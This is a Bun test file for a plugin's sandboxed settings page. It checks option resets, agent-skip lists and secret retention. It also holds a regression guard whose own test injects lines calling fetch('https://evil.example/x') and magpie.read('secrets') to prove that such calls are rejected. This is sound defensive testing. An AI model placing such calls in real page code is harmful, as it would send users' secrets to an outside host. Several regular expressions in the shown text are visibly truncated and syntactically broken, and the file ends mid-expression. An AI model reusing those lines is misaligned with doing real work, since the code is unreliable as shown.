import { expect, test } from "bun:test" import { runInNewContext } from "node:vm" import { onRequest, onResponse, reset } from "./nowledge-mem.hooks.mjs" test("the shared validator remains available after its module is cached", async () => { const validator=globalThis.__nowledgeMemValidateOptions await import("./page/validate.js") expect(typeof validator).toBe("function") expect(globalThis.__nowledgeMemValidateOptions).toBe(validator) }) // The sandboxed page must not acquire network or additional host privileges. // These checks are a regression guard, not a JavaScript security parser. function pageCalls(source) { return [...source.matchAll(/\bmagpie\s*(?:\?\.|\.)\s*([\w$]+(?:\s*(?:\?\.|\.)\s*[\w$]+)*)/g)] .map(([,call]) => call.replace(/\s/g, "").replaceAll("?.", ".")) } function pageScriptAllowed(source, allowedCalls) { if (/\b(fetch|XMLHttpRequest|WebSocket|EventSource)\b/.test(source)) return false if (/\bmagpie\s*\[|\b(?:window|globalThis)\s*\[\s*["']magpie["']\s*\]/.test(source)) return false return pageCalls(source).every((call) => allowedCalls.includes(call)) } test("page scripts use only the released bridge and do not perform network calls", async () => { const read=(file)=>Bun.file(new URL(`./page/${file}`,import.meta.url)).text() const [settings,validator,dictionary,html]=await Promise.all([read("settings.js"),read("validate.js"),read("i18n.js"),read("settings.html")]) const allowed=["service","options.get","options.set","theme.lang","ready.then","onTheme"] expect(pageScriptAllowed(settings,allowed)).toBe(true) expect([...new Set(pageCalls(settings))].sort()).toEqual([...allowed].sort()) expect(pageScriptAllowed(validator,[])).toBe(true) expect(pageScriptAllowed(dictionary,[])).toBe(true) const tags=[...html.matchAll(/]*)>/gi)] expect(tags).toHaveLength(4) const sources=tags.map(([,attrs])=>attrs.match(/(?:^|\s)src\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s>]+))/i)?.slice(1).find((s)=>s !== undefined)) expect(sources.sort()) .toEqual(["_magpie/bridge.js","i18n.js","settings.js","validate.js"]) expect(html).not.toMatch(/]*\bsrc\s*=)[^>]*>/i) expect(html).not.toMatch(/\b(?:src|href)\s*=\s*(?:["']\s*)?(?:https?:)?\/\//i) // Prove that each checked source rejects both classes of regression. for (const [source,calls] of [[settings,allowed],[validator,[]]]) { expect(pageScriptAllowed(`${source}\nfetch("https://evil.example/x")`,calls)).toBe(false) expect(pageScriptAllowed(`${source}\nmagpie.read?.("secrets")`,calls)).toBe(false) expect(pageScriptAllowed(`${source}\nwindow.magpie?.read("secrets")`,calls)).toBe(false) expect(pageScriptAllowed(`${source}\nmagpie["read"]("secrets")`,calls)).toBe(false) } }) async function pageFixture(initial) { const read = (file) => Bun.file(new URL(`./page/${file}`, import.meta.url)).text() const [dictionary, validator, source, html] = await Promise.all([read("i18n.js"), read("validate.js"), read("settings.js"), read("settings.html")]) const make = () => ({ dataset: {}, value: "", type: "text", checked: false, children: [], hidden: false, listeners: {}, setAttribute(name, value) { this[name] = value }, focus() { this.focused = true }, showModal() { this.open = true }, close() { this.open = false; this.onclose?.() }, before(node) { this.beforeNode = node }, addEventListener(type, fn) { (this.listeners[type] ??= []).push(fn) }, dispatchEvent(event) { for (const fn of this.listeners[event.type] ?? []) fn(event) }, append(...xs) { this.children.push(...xs); for (const x of xs) x.parent = this }, replaceChildren(...xs) { this.children = xs }, remove() { if (this.parent) this.parent.children = this.parent.children.filter((x) => x !== this) }, }) const elements = Object.fromEntries([...html.matchAll(/\bid="([^"]+)"/g)].map(([, id]) => [id, make()])) const labels = Object.fromEntries([...html.matchAll(/]*\bfor="([^"]+)"/g)].map(([, id]) => [id, make()])) for (const [id, label] of Object.entries(labels)) if (elements[id]) elements[id].closest = (selector) => selector === 'label' ? label : null const translated = [...html.matchAll(/data-t="([^"]+)"/g)].map(([, key]) => ({dataset:{t:key}})) const document = {documentElement:{},getElementById:(id)=>elements[id],createElement:make, querySelectorAll:(selector)=>selector === "[data-t]" ? translated : Object.values(elements).filter((el)=>el.dataset.message)} let options = structuredClone(initial), version = 0, repaint, writes = 0 const magpie = {theme:{lang:"en"},ready:Promise.resolve(),onTheme:(fn)=>{repaint=fn},options:{get:async()=>structuredClone(options),set:async(next)=>{options=structuredClone(next);version++;writes++}}} const location = {href:"http://127.0.0.1:3425/_magpie/plugin/t/page/settings.html",assign(url){this.assigned=url}} const window = {name:""} const i18n = runInNewContext(`${dictionary}\n${validator}\n${source}\nnowledgeMemI18n`, {document,magpie,window,location,navigator:{language:"en"},URL}) await new Promise(setImmediate) return {elements,labels,magpie,i18n,translated,document,location,repaint:()=>repaint(),get:()=>options,writes:()=>writes, external:(next)=>{options=structuredClone(next);version++},save:()=>elements.save.onclick({preventDefault(){}})} } test("default buttons execute their real handlers and clear explicit values", async () => { const f=await pageFixture({recall:false,requestTimeoutMs:900,skipAgents:["Mozilla"],apiKey:"saved",future:{v:1}}),e=f.elements await e.configure.onclick() expect(f.labels.space.parent.children.find((child)=>child.className === "option-reset").hidden).toBe(true) for (const id of ["recall","request-timeout","skip-agents"]) { const reset=f.labels[id].parent.children.find((child)=>child.className === "option-reset") expect(typeof reset?.onclick).toBe("function") expect(reset.hidden).toBe(false) expect(reset["aria-label"]).toContain(f.i18n.messages.en.useDefault) reset.onclick() expect(reset.hidden).toBe(true) expect(e[id].focused).toBe(true) } expect(e.recall.checked).toBe(true) expect(e["request-timeout"].value).toBe("") expect(e["skip-agents"].value).toBe("") await f.save() expect(f.get()).toEqual({apiKey:"saved",future:{v:1}}) // Typing after a reset cancels inheritance and saves an explicit value. const reset=f.labels.recall.parent.children.find((child)=>child.className === "option-reset") reset.onclick();e.recall.checked=false;e.recall.dispatchEvent({type:"change"}) await f.save();expect(f.get().recall).toBe(false) }) test("an explicit value equal to its default can still return to inheritance", async () => { const f=await pageFixture({recall:true}),e=f.elements await e.configure.onclick() const reset=f.labels.recall.parent.children.find((child)=>child.className === "option-reset") expect(reset.hidden).toBe(false) reset.onclick();await f.save() expect(Object.hasOwn(f.get(),"recall")).toBe(false) }) test("skipAgents retains existing formats, edits names, and updates the summary", async () => { for (const original of [["Mozilla", "Claude Code"], "Mozilla,Claude Code"]) { const f=await pageFixture({skipAgents:original,apiKey:"saved"}),e=f.elements expect(e["summary-skip"].textContent).toBe("Mozilla, Claude Code") await e.configure.onclick() expect(e["skip-agents"].value).toBe("Mozilla, Claude Code") e.space.value="space-a";await f.save() expect(f.get().skipAgents).toEqual(original) e["skip-agents"].value="Mozilla,, Codex,";await f.save() expect(f.get().skipAgents).toEqual(["Mozilla","Codex"]) expect(e["summary-skip"].textContent).toBe("Mozilla, Codex") e["skip-agents"].value=" , ";await f.save() expect(f.get().skipAgents).toBeUndefined() expect(e["summary-skip"].textContent).toBe("None") } }) test("a skipped app saved by the page reaches the hook without Mem requests", async () => { const f=await pageFixture({capture:true}),e=f.elements await e.configure.onclick();e["skip-agents"].value="Mozilla, Claude Code";await f.save() const previousFetch=globalThis.fetch, calls=[] globalThis.fetch=async (...args)=>{calls.push(args);return Response.json([])} try { reset() const state={}, body={messages:[{role:"user",content:"hello"}]} const context={protocol:"chat",origin:"local",agent:"claude-code",query:"hello",session:"s",options:f.get(),state,signal:new AbortController().signal} await onRequest(body,context) await onResponse({choices:[{message:{role:"assistant",content:"answer"},finish_reason:"stop"}]},{...context,success:true}) expect(calls).toHaveLength(0) expect(state.nowledgeMem).toBeUndefined() expect(body.messages[0].content).toBe("hello") } finally { globalThis.fetch=previousFetch;reset() } }) test("released hosts save only edited fields using a fresh read and retain secrets", async () => { const f=await pageFixture({serverUrl:"http://127.0.0.1:14242",apiKey:"saved_secret",custom:{a:1}}), e=f.elements expect(e.configure.disabled).toBe(false) expect(e.configured.dataset.message).toBe("loaded") await e.configure.onclick() expect(e.save.disabled).toBe(false) e.space.value="space-2" f.external({serverUrl:"http://127.0.0.1:14242",apiKey:"new_secret",custom:{a:2},future:true}) await f.save() expect(f.get()).toEqual({serverUrl:"http://127.0.0.1:14242",apiKey:"new_secret",custom:{a:2},future:true,spaceId:"space-2"}) expect(f.writes()).toBe(1) }) test("connection status stays separate from the concurrency notice", async () => { const html=await Bun.file(new URL("./page/settings.html",import.meta.url)).text() const noticePos=html.indexOf('data-t="concurrencyHelp"') expect(noticePos).toBeGreaterThan(html.indexOf('class="dialog-body"')) expect(noticePos).toBeLessThan(html.indexOf('